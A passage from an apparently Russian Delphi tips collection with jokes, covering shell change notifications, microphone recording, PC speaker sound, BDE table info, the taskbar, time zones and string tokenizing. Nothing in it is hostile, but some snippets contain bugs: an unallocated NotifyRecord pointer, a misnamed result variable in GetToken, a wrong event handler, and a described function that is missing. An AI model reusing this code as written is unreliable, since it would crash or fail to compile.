 function SHChangeNotifyRegister; external Shell32DLL index 2;
 function SHChangeNotifyDeregister; external Shell32DLL index 4;
 function SHILCreateFromPath; external Shell32DLL index 28;
 
 { TShellNotification }
 
 constructor TShellNotification.Create(AOwner: TComponent);
 begin
   inherited Create( AOwner );
   if not (csDesigning in ComponentState) then
     Handle := AllocateHWnd(WndProc);
 end;
 
 destructor TShellNotification.Destroy;
 begin
   if not (csDesigning in ComponentState) then
     Active := False;
   if Handle <> 0 then
     DeallocateHWnd( Handle );
   inherited Destroy;
 end;
 
 procedure TShellNotification.DoAssociationChange;
 begin
   if Assigned( fOnAssociationChange ) and
   (neAssociationChange in fWatchEvents) then
     fOnAssociationChange( Self );
 end;
 
 procedure TShellNotification.DoAttributesChange;
 begin
   if Assigned( fOnAttribChange ) then
     fOnAttribChange( Self, Path1, Path2 );
 end;
 
 procedure TShellNotification.DoCreateFile(Path: string);
 begin
   if Assigned( fOnCreate ) then
     FOnCreate(Self, Path)
 end;
 
 procedure TShellNotification.DoDeleteFile(Path: string);
 begin
   if Assigned( FOnDelete ) then
     FOnDelete(Self, Path);
 end;
 
 procedure TShellNotification.DoDirCreate(Path: string);
 begin
   if Assigned( FOnDirCreate ) then
     FOnDirCreate( Self, Path );
 end;
 
 procedure TShellNotification.DoDirUpdate(Path: string);
 begin
   if Assigned( FOnFolderUpdate ) then
     FOnFolderUpdate(Self, Path);
 end;
 
 procedure TShellNotification.DoDriveAdd(Path: string);
 begin
   if Assigned( FOnDriveAdd ) then
     FOnDriveAdd(Self, Path);
 end;
 
 procedure TShellNotification.DoDriveAddGui(Path: string);
 begin
   if Assigned( FOnDriveAddGui ) then
     FOnDriveAdd(Self, Path);
 end;
 
 procedure TShellNotification.DoDriveRemove(Path: string);
 begin
   if Assigned( FOnDriveRemove ) then
     FOnDriveRemove(Self, Path);
 end;
 
 procedure TShellNotification.DoFolderRemove(Path: string);
 begin
   if Assigned(FOnFolderRemove) then
     FOnFolderRemove( Self, Path );
 end;
 
 procedure TShellNotification.DoMediaInsert(Path: string);
 begin
   if Assigned( FOnMediaInsert ) then
     FOnMediaInsert(Self, Path);
 end;
 
 procedure TShellNotification.DoMediaRemove(Path: string);
 begin
   if Assigned(FOnMediaRemove) then
     FOnMediaRemove(Self, Path);
 end;
 
 procedure TShellNotification.DoNetShare(Path: string);
 begin
   if Assigned(FOnNetShare) then
     FOnNetShare(Self, Path);
 end;
 
 procedure TShellNotification.DoNetUnShare(Path: string);
 begin
   if Assigned(FOnNetUnShare) then
     FOnNetUnShare(Self, Path);
 end;
 
 procedure TShellNotification.DoRenameFolder(Path1, Path2: string);
 begin
   if Assigned( FOnRenameFolder ) then
     FOnRenameFolder(Self, Path1, Path2);
 end;
 
 procedure TShellNotification.DoRenameItem(Path1, Path2: string);
 begin
   if Assigned( FOnItemRename ) then
     FonItemRename(Self, Path1, Path2);
 end;
 
 procedure TShellNotification.DoServerDisconnect(Path: string);
 begin
   if Assigned( FOnServerDisconnect ) then
     FOnServerDisconnect(Self, Path);
 end;
 
 function TShellNotification.GetActive: Boolean;
 begin
   Result := (NotifyHandle <> 0) and (fActive);
 end;
 
 function TShellNotification.PathFromPidl(Pidl: PItemIDList): string;
 begin
   SetLength(Result, Max_Path);
   if not SHGetPathFromIDList(Pidl, PChar(Result)) then
     Result := '';
   if pos(#0, Result) > 0 then
     SetLength(Result, pos(#0, Result));
 end;
 
 procedure TShellNotification.SetActive(const Value: Boolean);
 begin
   if (Value <> fActive) then
   begin
     fActive := Value;
     if fActive then
       ShellNotifyRegister
     else
       ShellNotifyUnregister;
   end;
 end;
 
 procedure TShellNotification.SetPath(const Value: string);
 begin
   if fPath <> Value then
   begin
     fPath := Value;
     ShellNotifyRegister;
   end;
 end;
 
 procedure TShellNotification.SetWatch(const Value: Boolean);
 begin
   if fWatch <> Value then
   begin
     fWatch := Value;
     ShellNotifyRegister;
   end;
 end;
 
 procedure TShellNotification.SetWatchEvents(
 const Value: TNotificationEvents);
 begin
   if fWatchEvents <> Value then
   begin
     fWatchEvents := Value;
     ShellNotifyRegister;
   end;
 end;
 
 procedure TShellNotification.ShellNotifyRegister;
 var
   NotifyRecord: PNOTIFYREGISTER;
   Flags: DWORD;
   Pidl: PItemIDList;
   Attributes: ULONG;
 begin
   if not (csDesigning in ComponentState) and
   not (csLoading in ComponentState) then
   begin
     SHILCreatefromPath( PChar(fPath), Addr(Pidl), Attributes);
     NotifyRecord^.pidlPath := Pidl;
     NotifyRecord^.bWatchSubtree := fWatch;
 
     if NotifyHandle <> 0 then
       ShellNotifyUnregister;
     Flags := 0;
     if neAssociationChange in FWatchEvents then
       Flags := Flags or SHCNE_ASSOCCHANGED;
     if neAttributesChange in FWatchEvents then
       Flags := Flags or SHCNE_ATTRIBUTES;
     if neFileChange in FWatchEvents then
       Flags := Flags or SHCNE_UPDATEITEM;
     if neFileCreate in FWatchEvents then
       Flags := Flags or SHCNE_CREATE;
     if neFileDelete in FWatchEvents then
       Flags := Flags or SHCNE_DELETE;
     if neFileRename in FWatchEvents then
       Flags := Flags or SHCNE_RENAMEITEM;
     if neDriveAdd in FWatchEvents then
       Flags := Flags or SHCNE_DRIVEADD;
     if neDriveRemove in FWatchEvents then
       Flags := Flags or SHCNE_DRIVEREMOVED;
     if neShellDriveAdd in FWatchEvents then
       Flags := Flags or SHCNE_DRIVEADDGUI;
     if neDriveSpaceChange in FWatchEvents then
       Flags := Flags or SHCNE_FREESPACE;
     if neMediaInsert in FWatchEvents then
       Flags := Flags or SHCNE_MEDIAINSERTED;
     if neMediaRemove in FWatchEvents then
       Flags := Flags or SHCNE_MEDIAREMOVED;
     if neFolderCreate in FWatchEvents then
       Flags := Flags or SHCNE_MKDIR;
     if neFolderDelete in FWatchEvents then
       Flags := Flags or SHCNE_RMDIR;
     if neFolderRename in FWatchEvents then
       Flags := Flags or SHCNE_RENAMEFOLDER;
     if neFolderUpdate in FWatchEvents then
       Flags := Flags or SHCNE_UPDATEDIR;
     if neNetShare in FWatchEvents then
       Flags := Flags or SHCNE_NETSHARE;
     if neNetUnShare in FWatchEvents then
       Flags := Flags or SHCNE_NETUNSHARE;
     if neServerDisconnect in FWatchEvents then
       Flags := Flags or SHCNE_SERVERDISCONNECT;
     if neImageListChange in FWatchEvents then
       Flags := Flags or SHCNE_UPDATEIMAGE;
     NotifyHandle := SHChangeNotifyRegister(Handle,
     SHCNF_ACCEPT_INTERRUPTS or SHCNF_ACCEPT_NON_INTERRUPTS,
     Flags, SNM_SHELLNOTIFICATION, 1, NotifyRecord);
   end;
 end;
 
 procedure TShellNotification.ShellNotifyUnregister;
 begin
   if NotifyHandle <> 0 then
     SHChangeNotifyDeregister(NotifyHandle);
 end;
 
 procedure TShellNotification.WndProc(var message: TMessage);
 type
   TPIDLLIST = record
   pidlist : array[1..2] of PITEMIDLIST;
 end;
 PIDARRAY = ^TPIDLLIST;
 var
   Path1 : string;
   Path2 : string;
   ptr : PIDARRAY;
   repeated : boolean;
   event : longint;
 begin
   case message.Msg of
     SNM_SHELLNOTIFICATION:
     begin
       event := message.LParam and ($7FFFFFFF);
       Ptr := PIDARRAY(message.WParam);
 
       Path1 := PathFromPidl( Ptr^.pidlist[1] );
       Path2 := PathFromPidl( Ptr^.pidList[2] );
 
       repeated := (PrevEvent = event)
       and (uppercase(prevpath1) = uppercase(Path1))
       and (uppercase(prevpath2) = uppercase(Path2));
 
       if Repeated then
         exit;
 
       PrevEvent := message.Msg;
       prevPath1 := Path1;
       prevPath2 := Path2;
 
       case event of
         SHCNE_ASSOCCHANGED : DoAssociationChange;
         SHCNE_ATTRIBUTES : DoAttributesChange( Path1, Path2);
         SHCNE_CREATE : DoCreateFile(Path1);
         SHCNE_DELETE : DoDeleteFile(Path1);
         SHCNE_DRIVEADD : DoDriveAdd(Path1);
         SHCNE_DRIVEADDGUI : DoDriveAddGui(path1);
         SHCNE_DRIVEREMOVED : DoDriveRemove(Path1);
         SHCNE_MEDIAINSERTED : DoMediaInsert(Path1);
         SHCNE_MEDIAREMOVED : DoMediaRemove(Path1);
         SHCNE_MKDIR : DoDirCreate(Path1);
         SHCNE_NETSHARE : DoNetShare(Path1);
         SHCNE_NETUNSHARE : DoNetUnShare(Path1);
         SHCNE_RENAMEFOLDER : DoRenameFolder(Path1, Path2);
         SHCNE_RENAMEITEM : DoRenameItem(Path1, Path2);
         SHCNE_RMDIR : DoFolderRemove(Path1);
         SHCNE_SERVERDISCONNECT : DoServerDisconnect(Path);
         SHCNE_UPDATEDIR : DoDirUpdate(Path);
         SHCNE_UPDATEIMAGE : ;
         SHCNE_UPDATEITEM : ;
       end;
     end;
   end;
 end;
 
 end.
 




Как получить короткий путь файла если есть длинный


 // Короткий
 GetShortPathName(LongPath)
 
 // Наоборот длинный
 GetFullPathName(ShortPath)
 




Как считать сигнал с микрофона

Программист выходит к микрофону, чтобы сказать речь. Подходит и стучит по микрофону: Тук-тук-тук, Раз, Два, Три... Из микрофона: "фХЛ-ФХЛ-ФХЛ, тБЪ, дЧБ, фТЙ..."

В Windows нет разделения каналов записи по источникам.

 CD-ROM ----------|
 |                |--- Динамики
 Микрофон --------| |
 |                   - Windows --|--- Записывающие программы
 Линейный вход ---| |
 |                |--- Линейный выход
 MIDI ------------|
 

Все поступающие в систему звуки смешиваются, и лишь после этого их получает программа.

Для получения звукового сигнала нужно воспользоваться WinAPI. WaveInOpen открывает доступ к микрофону. Одновременно только одна программа может работать с микрофоном. Заодно Вы указываете, какая нужна частота, сколько бит на значение и размер буфера. От последнего зависит, как часто и в каком объеме информация будет поступать в программу.

Далее нужно выделить память для буфера и вызвать функцию WaveInAddBuffer, которая передаст Windows пустой буфер. После вызова WaveInStart Windows начнет заполнять буфер, и, после его заполнения, пошлет сообщение MM_WIM_DATA. В нем нужно обработать полученную информацию и вновь вызвать WaveInAddBuffer, тем самым указав, что буфер пуст.

Функции WaveInReset и WaveInClose прекратят поступление информации в программу и закроют доступ к микрофону.

Эта программа считывает сигнал с микрофона и выводит его на экран. Частота сигнала - 22050 Гц. Количество бит определяется флажком, размер буфера TrackBar-ом.


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, ExtCtrls, ComCtrls, MMSystem;
 
 type
   TData8 = array [0..127] of byte;
   PData8 = ^TData8;
   TData16 = array [0..127] of smallint;
   PData16 = ^TData16;
   TPointArr = array [0..127] of TPoint;
   PPointArr = ^TPointArr;
   TForm1 = class(TForm)
     Button1: TButton;
     Button2: TButton;
     PaintBox1: TPaintBox;
     TrackBar1: TTrackBar;
     CheckBox1: TCheckBox;
     procedure Button1Click(Sender: TObject);
     procedure Button2Click(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
     procedure CheckBox1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
   private
     { Private declarations }
   public
     procedure OnWaveIn(var Msg: TMessage); message MM_WIM_DATA;
 end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 var
   WaveIn: hWaveIn;
   hBuf: THandle;
   BufHead: TWaveHdr;
   bufsize: integer;
   Bits16: boolean;
   p: PPointArr;
   stop: boolean = false;
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   header: TWaveFormatEx;
   BufLen: word;
   buf: pointer;
 begin
   BufSize := TrackBar1.Position * 500 + 100; { Размер буфера }
   Bits16 := CheckBox1.Checked;
   with header do
   begin
     wFormatTag := WAVE_FORMAT_PCM;
     nChannels := 1; { количество каналов }
     nSamplesPerSec := 22050; { частота }
     wBitsPerSample := integer(Bits16) * 8 + 8; { 8 / 16 бит }
     nBlockAlign := nChannels * (wBitsPerSample div 8);
     nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
     cbSize := 0;
   end;
   WaveInOpen(Addr(WaveIn), WAVE_MAPPER, addr(header),
   Form1.Handle, 0, CALLBACK_WINDOW);
   BufLen := header.nBlockAlign * BufSize;
   hBuf := GlobalAlloc(GMEM_MOVEABLE and GMEM_SHARE, BufLen);
   Buf := GlobalLock(hBuf);
   with BufHead do
   begin
     lpData := Buf;
     dwBufferLength := BufLen;
     dwFlags := WHDR_BEGINLOOP;
   end;
   WaveInPrepareHeader(WaveIn, Addr(BufHead), sizeof(BufHead));
   WaveInAddBuffer(WaveIn, addr(BufHead), sizeof(BufHead));
   GetMem(p, BufSize * sizeof(TPoint));
   stop := true;
   WaveInStart(WaveIn);
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   if stop = false then
     Exit;
   stop := false;
   while not stop do
     Application.ProcessMessages;
   stop := false;
   WaveInReset(WaveIn);
   WaveInUnPrepareHeader(WaveIn, addr(BufHead), sizeof(BufHead));
   WaveInClose(WaveIn);
   GlobalUnlock(hBuf);
   GlobalFree(hBuf);
   FreeMem(p, BufSize * sizeof(TPoint));
 end;
 
 procedure TForm1.OnWaveIn;
 var
   i: integer;
   data8: PData8;
   data16: PData16;
   h: integer;
   XScale, YScale: single;
 begin
   h := PaintBox1.Height;
   XScale := PaintBox1.Width / BufSize;
   if Bits16 then
   begin
     data16 := PData16(PWaveHdr(Msg.lParam)^.lpData);
     YScale := h / (1 shl 16);
     for i := 0 to BufSize - 1 do
       p^[i] := Point(round(i * XScale),
     round(h / 2 - data16^[i] * YScale));
   end
   else
   begin
     Data8 := PData8(PWaveHdr(Msg.lParam)^.lpData);
     YScale := h / (1 shl 8);
     for i := 0 to BufSize - 1 do
       p^[i] := Point(round(i * XScale),
     round(h - data8^[i] * YScale));
   end;
   with PaintBox1.Canvas do
   begin
     Brush.Color := clWhite;
     FillRect(ClipRect);
     Polyline(Slice(p^, BufSize));
   end;
   if stop then
     WaveInAddBuffer(WaveIn, PWaveHdr(Msg.lParam), SizeOf(TWaveHdr))
   else
     stop := true;
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   Button2.Click;
 end;
 
 procedure TForm1.CheckBox1Click(Sender: TObject);
 begin
   if stop then
   begin
     Button2.Click;
     Button1.Click;
   end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   TrackBar1.OnChange := CheckBox1Click;
   Button1.Caption := 'Start';
   Button2.Caption := 'Stop';
   CheckBox1.Caption := '16 / 8 bit';
 end;
 
 end.
 




Извлечение звуков из системного динамика под Windows

Обьявление в газете: Куплю Windows б/в.


 procedure Sound(Freq: Word);
 var
   B: Byte;
 begin
   if Freq > 18 then
   begin
     Freq := Word(1193181 div LongInt(Freq));
     B := Byte(GetPort($61));
 
     if (B and 3) = 0 then
     begin
       SetPort($61, Word(B or 3));
       SetPort($43, $B6);
     end;
 
     SetPort($42, Freq);
     SetPort($42, Freq shr 8);
   end;
 end;
 
 procedure NoSound;
 var
   Value: Word;
 begin
   Value := GetPort($61) and $FC;
   SetPort($61, Value);
 end;
 
 procedure SetPort(address, Value: Word);
 var
   bValue: byte;
 begin
   bValue := trunc(Value and 255);
   asm
     mov dx, address
     mov al, bValue
     out dx, al
   end;
 end;
 
 function GetPort(address: word): word;
 var
   bValue: byte;
 begin
   asm
     mov dx, address
     in al, dx
     mov bValue, al
   end;
   GetPort := bValue;
 end;
 

Под WinNT вы можете использовать Beep(Tone, Duration) (задавать тон и продолжительность звучания).




Извлечение звуков из системного динамика в виндах

Автор: Steve Keyser

Хакер Петя любит Windows!
Хакер Вася любит Windows!
И хакер Серёжа тоже любит Windows!
А Windows их всех НЕНАВИДИТ!

Вот мой старый способ, которым я извлекал звуки в Visual Basic (это было много времени назад) с помощью функций API. Ниже приведена функция, требующая на входе два параметра: тон и длительность воспроизведения. (Примечание: функции Windows API требуют гораздо большее количество параметров, но вам нужно беспокоиться только о тех, которые изменяются от вызова до вызова... т.е. только о тоне и длительности.)


 procedure MakeSound(note, duration: integer);
 {
 Цель:      Проигрывание звуков на динамике PC.
 Параметры: note = шаг тона (правильный диапазон с 1 по 84 (1
 
 самый низкий тон и 84 самый высокий)
 duration = продолжительность звучания (допустимый диапазон
 с 1 по 128... но это мои догадки... чем меньше значение
 тем короче продолжительность)
 }
 var
   result: integer;
 begin
   {проверка на правильность величины... должно быть 1-84}
   if (note < 1) or (note > 84) then
     exit;
   {проверка на правильность величины... по моим догадкам, должно быть
   в диапазоне от 1 до 128}
   if (duration < 1) or (duration > 128) then
     exit;
   {открываем звуковой канал}
   result := OpenSound;
   {устанавливаем размер звуковой очереди (не очищайте это! Я думаю что
   каждая нота требует 6 байт.)}
   result := SetVoiceQueueSize(1, 6);
   {устанавливаем звуковую ноту (и ее длительность)}
   result := SetVoiceNote(1, note, duration, 1);
   {проигрываем ноту}
   result := StartSound;
   {ожидаем окончания звучания}
   result := WaitSoundState(S_QUEUEEMPTY);
   {закрываем звуковой канал}
   CloseSound;
 end;
 

Затем можно вызвать эту функцию следующим образом...


 MakeSound(1,1);
 MakeSound(32,10);
 

Эти две строчки заставят динамик вашего PC зазвучать сначала в низком диапазоне (продолжительностью в секунду или две), и затем немного дольше в более высоком диапазоне.




Получить звук с микрофона

Обнаружен новый вирус Владимир Владимирович, при его обнаружении антивирус сам стирает все на винте.

Сначала надо создать пустой аудио файл, допустим Windows Audio Recorder, причем какие у него будут параметры, такие будут и у результирующего файла, затем с помощью var Media:TMediaPlayer


 procedure TForm1.btRecordClick(Sender: TObject);
 begin
   with Media do
   begin
     { Set FileName to the test.wav file to }
     { get the recording parameters. }
     FileName := 'd:\test.wav';
     { Open the device. }
     Open;
     { Start recording. }
     Wait := False;
     StartRecording;
   end;
 end;
 
 procedure TForm1.btStopClick(Sender: TObject);
 begin
   with Media do
   begin
     { Stop recording. }
     Stop;
     { Change the filename to the new file we want to write. }
     FileName := 'd:\new.wav';
     { Save and close the file. }
     Save;
     Close;
   end;
 end;
 




Получение информации о таблице

Вам нужно воспользоваться свойством FieldDefs. В следующем примере список полей и их соответствующий размер передается компоненту TMemo (расположенному на форме) с именем Memo1:


 procedure TForm1.ShowFields;
 var
   i: Word;
 begin
   Memo1.Lines.Clear;
   Table1.FieldDefs.Update;
   { должно быть вызвано, если Table1 не активна }
   for i := 0 to Table1.FieldDefs.Count - 1 do
     With Table1.FieldDefs.Items[i] do
       Memo1.Lines.Add(Name + ' - ' + IntToStr(Size));
 end;
 

Если вам просто нужны имена полей (FieldNames), то используйте метода TTable GetFieldNames:
GetIndexNames для получения имен индексов:


 var
   FldNames, IdxNames : TStringList;
 begin
   FldNames := TStringList.Create;
   IdxNames := TStringList.Create;
   If Table1.State = dsInactive then
     Table1.Open;
   Table1.GetFieldNames(FldNames);
   Table1.GetIndexNames(IdxNames);
   {...... используем полученную информацию ......}
   FldNames.Free; {освобождаем stringlist}
   IdxNames.Free;
 end;
 

Для получения информации об определенном поле вы должны использовать FieldDef.




Получение физического пути к таблице

Автор: Xavier Pacheco

Если ссылка на таблицу получена через псевдоним, получить физический путь к ней не так просто. Для получения этого пути необходимо использовать функцию BDE DbiGetDatabaseDesc. Данной функции в качестве параметров передаются имя псевдонима и указатель на структуру DBDesc. Структура DBDesc будет заполнена информацией, относящейся к этому псевдониму. Определение структуры:


 pDBDesc = ^DBDesc;
 DBDesc = packed record        { Описание данной базы данных }
 szName          : DBINAME;    { Логическое имя (или псевдоним) }
 szText          : DBINAME;    { Описательный текст }
 szPhyName       : DBIPATH;    { Физическое имя/путь }
 szDbType        : DBINAME;    { Тип базы данных }
 end;
 

Физическое имя/путь будет содержаться в поле szPhyName структуры DBDesc.

Возможные значения, возвращаемые функцией DBIGetDatbaseDesc:

 DBIERR_NONE             Описание базы данных для pszName было успешно извлечено.
 DBIERR_OBJNOTFOUND      База данных, указанная в pszName, не была обнаружена.

Приведенный ниже пример кода показывает как можно получить физический путь для компонента TTable, использующего псевдоним DBDemos:


 var
   vDBDesc: DBDesc;
   DirTable: String;
 begin
   Check(DbiGetDatabaseDesc(PChar(Table1.DatabaseName), @vDBDesc));
   DirTable := Format('%s\%s', [vDBDesc.szPhyName, Table1.TableName]);
   ShowMessage(DirTable);
 end;
 




Получить дескриптор панели задач

Используем функцию нахождения окна FindWindow, указывая ей в качестве параметров сначала название класса окна, затем его заголовок. Если окно будет найдено, функция выдаст его дескриптор.


 handle_taskbar := FindWindow('Shell_TrayWnd', nil);
 




Получение информации о TaskBar

Для вывода информации мы будет использовать компонент TStringGrid с закладки Additional.

Сначала вам нужно будет после


 var
   Form1: TForm1;
 

добавить следующий код:


 AppBarData : TAppBarData;
 bAlwaysOnTop, bAutoHide : boolean;
 Clrect,rect : TRect;
 Edge: UInt;
 

затем после слова Implementation пишем


 procedure DetectTaskBar;
 begin
   AppBarData.hWnd := FindWindow('Shell_TrayWnd', nil);
   AppBarData.cbSize := sizeof(AppBarData);
   bAlwaysOnTop := (SHAppBarMessage(ABM_GETSTATE, AppBardata)
   and ABS_ALWAYSONTOP) <> 0;
   bAutoHide := (SHAppBarMessage(ABM_GETSTATE, AppBardata)
   and ABS_AUTOHIDE) <> 0;
   GetClientRect(AppBarData.hWnd, Clrect);
   GetWindowRect(AppBarData.hwnd, rect);
   if rect.top > 0 then
     Edge := ABE_BOTTOM
   else
   if rect.bottom < screen.height then
     Edge:=ABE_TOP
   else
   if rect.right < screen.width then
     Edge:=ABE_LEFT
   else
     Edge:=ABE_RIGHT;
 end;
 

и осталось описать самое главное - обработчик нажатия кнопки:


 procedure TForm1.Button1Click(Sender: TObject);
 begin
   DetectTaskBar;
 
   StringGrid1.Cells[0,0] := 'Выше других окон';
   StringGrid1.Cells[0,1] := 'Автоматически убирать с экрана';
   StringGrid1.Cells[0,2] := 'Клиентская область';
   StringGrid1.Cells[0,3] := 'Оконная область';
   StringGrid1.Cells[0,4] := 'Края';
 
   if bAlwaysOnTop = true then
     StringGrid1.Cells[1,0] := 'true'
   else
     StringGrid1.Cells[1,0] := 'false';
 
   if bAutoHide = true then
     StringGrid1.Cells[1,1] := 'true'
   else
     StringGrid1.Cells[1,1] := 'false';
 
   StringGrid1.Cells[1,2] := IntToStr(Clrect.Left)+':'+IntToStr(Clrect.Top) +
   ':'+IntToStr(Clrect.Right)+':'+IntToStr(Clrect.Bottom);
 
   StringGrid1.Cells[1,3] := IntToStr(rect.Left)+':'+IntToStr(rect.Top) +
   ':'+IntToStr(rect.Right)+':'+IntToStr(rect.Bottom);
 
   StringGrid1.Cells[1,4] := IntToStr(Edge);
 end;
 




Как получить текст HTML Документа из TWebBrowser без тегов

Маленький мальчик к папе пpиходит:
- Пап, как пишется "адpес", с одной "с" или двумя?
- Напиши URL и иди ложись спать...


 uses mshtml, activex;
 
 procedure GetHtmlCode(WebBrowser: TWebBrowser; FileName: string);
 var
  htmlDoc: IHtmlDocument2;
  PersistFile: IPersistFile;
 begin
  htmlDoc := WebBrowser.document as IHtmlDocument2;
  PersistFile := HTMLDoc as IPersistFile;
  PersistFile.save(StringToOleStr(FileName), true);
 end;
 




Как получить текст HTML Документа из TWebBrowser без тегов 2

Автор: Фэ

Никто и никогда не видел столько порнографии, сколько видел браузер Internet Explorer.


 var
   Document: IHTMLDocument2;
 begin
  Document := WB.Document as IHtmlDocument2;
  if Document < >  nil then
    Memo1.Text := (Document.all.Item(NULL, 0) as IHTMLElement).OuterHTML;
 




Извлечение текста из TMemoField

Автор: Steve Schafer


 var
   P: PChar;
   S: TMemoryStream;
   Size: LongInt;
 begin
   S := TMemoryStream.Create;
   MyMemoField.SaveToStream(S);
   Size := S.Position;
   GetMem(P, Size + 1);
   S.Position := 0;
   S.Read(P^, Size);
   P[Size] := #0;
   S.Free;
   { используем текст в PChar }
   FreeMem(P, Size + 1);
 end;
 




Как получить список часовых поясов


- А какое сегодня число? - спросил уставший программист.
Второй не задумываюсь отвечает:
- Целое, положительное!


 uses
   Registry;
 
 ...
 
 var
   reg : TRegistry;
   ts : TStrings;
   i : integer;
 begin
   reg := TRegistry.Create;
   reg.RootKey := HKEY_LOCAL_MACHINE;
   reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones', false);
   if reg.HasSubKeys then
   begin
     ts := TStringList.Create;
     reg.GetKeyNames(ts);
     reg.CloseKey;
     for i := 0 to ts.Count -1 do
     begin
       reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones\' + ts.Strings[i], false);
       Memo1.Lines.Add(ts.Strings[i]);
       Memo1.Lines.Add(reg.ReadString('Display'));
       Memo1.Lines.Add(reg.ReadString('Std'));
       Memo1.Lines.Add(reg.ReadString('Dlt'));
       Memo1.Lines.Add('----------------------');
       reg.CloseKey;
     end;
     ts.Free;
   end
   else
     reg.CloseKey;
   reg.free;
 end;
 




Разбивка строки на слова

Приведу несколько простых функций, позволяющих работать с отдельными словами в строке. Возможно они пригодятся вам для разбивки текстовых полей на отдельные слова (for i := 1 to NumToken do ...) с последующим сохранением их в базе данных.


 function GetToken(aString, SepChar: string; TokenNum: Byte): string;
 {
 параметры: aString : полная строка
 
 SepChar : единственный символ, служащий
 разделителем между словами (подстроками)
 TokenNum: номер требуемого слова (подстроки))
 result    : искомое слово или пустая строка, если количество слов
 
 меньше значения 'TokenNum'
 }
 var
 
   Token: string;
   StrLen: Byte;
   TNum: Byte;
   TEnd: Byte;
 
 begin
 
   StrLen := Length(aString);
   TNum := 1;
   TEnd := StrLen;
   while ((TNum <= TokenNum) and (TEnd <> 0)) do
   begin
     TEnd := Pos(SepChar, aString);
     if TEnd <> 0 then
     begin
       Token := Copy(aString, 1, TEnd - 1);
       Delete(aString, 1, TEnd);
       Inc(TNum);
     end
     else
     begin
       Token := aString;
     end;
   end;
   if TNum >= TokenNum then
   begin
     GetToken1 := Token;
   end
   else
   begin
     GetToken1 := '';
   end;
 end;
 
 function NumToken(aString, SepChar: string): Byte;
 {
 parameters: aString : полная строка
 
 SepChar : единственный символ, служащий
 разделителем между словами (подстроками)
 result    : количество найденных слов (подстрок)
 }
 
 var
 
   RChar: Char;
   StrLen: Byte;
   TNum: Byte;
   TEnd: Byte;
 
 begin
 
   if SepChar = '#' then
   begin
     RChar := '*'
   end
   else
   begin
     RChar := '#'
   end;
   StrLen := Length(aString);
   TNum := 0;
   TEnd := StrLen;
   while TEnd <> 0 do
   begin
     Inc(TNum);
     TEnd := Pos(SepChar, aString);
     if TEnd <> 0 then
     begin
       aString[TEnd] := RChar;
     end;
   end;
   Result := TNum;
 end;
 
 // Или другое решение:
 
 function CopyColumn(const s_string: string; c_fence: char;
   i_index: integer): string;
 var
   i, i_left: integer;
 begin
 
   result := EmptyStr;
   if i_index = 0 then
   begin
     exit;
   end;
   i_left := 0;
   for i := 1 to Length(s_string) do
   begin
     if s_string[i] = c_fence then
     begin
       Dec(i_index);
       if i_index = 0 then
       begin
         result := Copy(s_string, i_left + 1, i - i_left - 1);
         exit;
       end
       else
       begin
         i_left := i;
       end;
     end;
   end;
   Dec(i_index);
   if i_index = 0 then
   begin
     result := Copy(s_string, i_left + 1, Length(s_string));
   end;
 end;
 

Я знаю что в GetToken параметр SepChar (в моем случае c_fence) строка, не символ, но комментарий гласит, что функция ожидает единственный символ в этой строке, и это очевидно, поскольку если вы пошлете более одного символа, функция попросту несработает. ( Delete(aString,1,TEnd) будет ошибкой, если Length( SepChar ) > 1 ).




Как получить весь размер системной памяти

OS/2 - полуось
PS/2 - ?!


 function GetMemoryTotalPhys: DWord;
 var
   memStatus: TMemoryStatus;
 begin
   memStatus.dwLength := sizeOf (memStatus);
   GlobalMemoryStatus(memStatus);
   Result := memStatus.dwTotalPhys;
 end;
 




Функция, возвращающая тип


 // функция Chameleon, возвращающая тип сгенерированного исключения
 
 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls;
 
 type
 
   MyBoolean = class
   public
     Value: boolean;
   end;
 
   MyInteger = class
   public
     Value: integer;
   end;
 
   MyClass = class
   public
     Value: TStrings;
   end;
 
   TForm1 = class(TForm)
     Button1: TButton;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
     procedure MyProc;
     function Chameleon: boolean;
   end;
 
 var
 
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 function TForm1.Chameleon: boolean;
 var
 
   b: MyBoolean;
   i: MyInteger;
   c: MyClass;
   r: integer;
 begin
 
   r := Random(3);
   case r of
     0:
       begin
         b := MyBoolean.Create;
         raise b;
       end;
     1:
       begin
         i := MyInteger.Create;
         raise i;
       end;
     2:
       begin
         c := MyClass.Create;
         raise c;
       end;
   end;
 end;
 
 procedure TForm1.MyProc;
 begin
 
   try
     Chameleon;
   except
     on MyBoolean do
       ShowMessage('Функция возвратила класс MyBoolean');
     on MyInteger do
       ShowMessage('Функция возвратила класс MyInteger');
     on MyClass do
       ShowMessage('Функция возвратила класс MyClass');
   end;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
 
   Chameleon;
 end;
 
 end.
 

Взгляните на тип данных Variant в D2: следующий код


 function AnyType(const TypeParm: integer): Variant;
 begin
   case TypeParm of
     1: Result := 1;
     2: Result := 2.0;
     3: Result := 'Три';
     4: Result := StrToDate('4/4/1944');
   end;
 end;
 

абсолютно бестолковый, но полностью корректный!

Следующий код содержит объявление трех функций, принимающих на входе один и тот же параметр, но выдающих результаты различных типов (результат физичиски один и тот же, и занимает он 4 байта). Я не думаю, что можно одурачить delphi, чтобы с помощью этого метода возвратить строку. Это может привести к разрушению менеджера кучи. Вместо этого вызывайте необходимую вам функцию. Каждый вызов передается MyFuncRetAnything, а P1 определяет возвращаемый тип. Если хотите, можете написать другую обертку, делающую для вас еще и приведение типов.

3 вызова, 1 код.

